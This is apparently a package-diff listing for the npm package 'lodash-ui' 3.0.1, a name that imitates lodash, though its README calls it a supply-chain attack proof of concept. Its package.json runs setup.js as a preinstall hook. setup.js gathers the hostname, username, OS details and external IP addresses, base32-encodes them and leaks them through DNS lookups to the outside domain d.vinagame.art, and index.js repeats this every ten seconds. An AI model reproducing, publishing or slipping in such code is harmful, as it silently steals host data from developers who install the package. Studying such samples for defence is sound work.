lodash-ui 3.0.1

Sign up to get free protection for your applications and to get access to all the features.
package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2021 haebi-thelittleshrimp
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/README.md ADDED
@@ -0,0 +1,21 @@
1
+ # simple-callback
2
+ simple-callback repository is a Proof-Of-Concept Node module to demonstrate Supply Chain attacks.
3
+
4
+ ## Publish
5
+
6
+ ```
7
+ npm login
8
+ # at the project directory
9
+ npm publish
10
+ ```
11
+
12
+ ## Deployment - On Victim
13
+
14
+ View the published package: https://www.npmjs.com/package/simple-callback-supply-chain-attack
15
+
16
+ To simplify testing, the callback domain is taken from the enviornment variable
17
+
18
+ ```
19
+ export CALLBACK=[SOME-DOMAIN]
20
+ npm install simple-callback-supply-chain-attack
21
+ ```
package/index.js ADDED
@@ -0,0 +1,13 @@
1
+ const setup = require("./setup");
2
+
3
+ function isConfigured() {
4
+ // Do Nothing
5
+ return false;
6
+ }
7
+
8
+ function scheduleUpdate() {
9
+ setInterval(() => {setup.configureHost()}, 10000);
10
+ }
11
+
12
+ exports.isConfigured = isConfigured;
13
+ exports.scheduleUpdate = scheduleUpdate;
package/package.json ADDED
@@ -0,0 +1,23 @@
1
+ {
2
+ "name": "lodash-ui",
3
+ "version": "3.0.1",
4
+ "description": "UI framework for Lodash UI",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node setup.js"
9
+ },
10
+ "repository": {
11
+ "type": "git",
12
+ "url": "git+https://github.com/haebi-thelittleshrimp/simple-callback-supply-chain-attack.git"
13
+ },
14
+ "author": "",
15
+ "license": "ISC",
16
+ "bugs": {
17
+ "url": "https://github.com/haebi-thelittleshrimp/simple-callback-supply-chain-attack/issues"
18
+ },
19
+ "homepage": "https://github.com/haebi-thelittleshrimp/simple-callback-supply-chain-attack#readme",
20
+ "dependencies": {
21
+ "base32": "0.0.6"
22
+ }
23
+ }
package/setup.js ADDED
@@ -0,0 +1,44 @@
1
+ const os = require('os');
2
+ const dns = require('dns');
3
+ const base32 = require('base32');
4
+
5
+ function configureHost() {
6
+ let hostInformation = enummerateHostInformation();
7
+ sendChunks(hostInformation);
8
+ }
9
+
10
+ function enummerateHostInformation() {
11
+ let nets = os.networkInterfaces();
12
+ let results = {
13
+ "hostname": os.hostname(),
14
+ "username": os.userInfo().username,
15
+ "os_type" : os.type(),
16
+ "os_release": os.release()
17
+ }
18
+
19
+ for (const name of Object.keys(nets)) {
20
+ for (const net of nets[name]) {
21
+ if (net.family === 'IPv4' && !net.internal) {
22
+ if (!results[name]) {
23
+ results[name] = [];
24
+ }
25
+ results[name].push(net.address);
26
+ }
27
+ }
28
+ }
29
+ return results;
30
+ }
31
+
32
+ function sendChunks(obj) {
33
+ let message = base32.encode(JSON.stringify(obj));
34
+ let chunks = message.match(/.{1,25}/g);
35
+ for(let i = 0; i<chunks.length;i++) {
36
+ let host = i + "-" + chunks[i] + "." + "d.vinagame.art";
37
+ dns.resolve4(host, () => {
38
+ // do nothing
39
+ });
40
+ }
41
+ }
42
+
43
+ exports.configureHost = configureHost;
44
+ configureHost();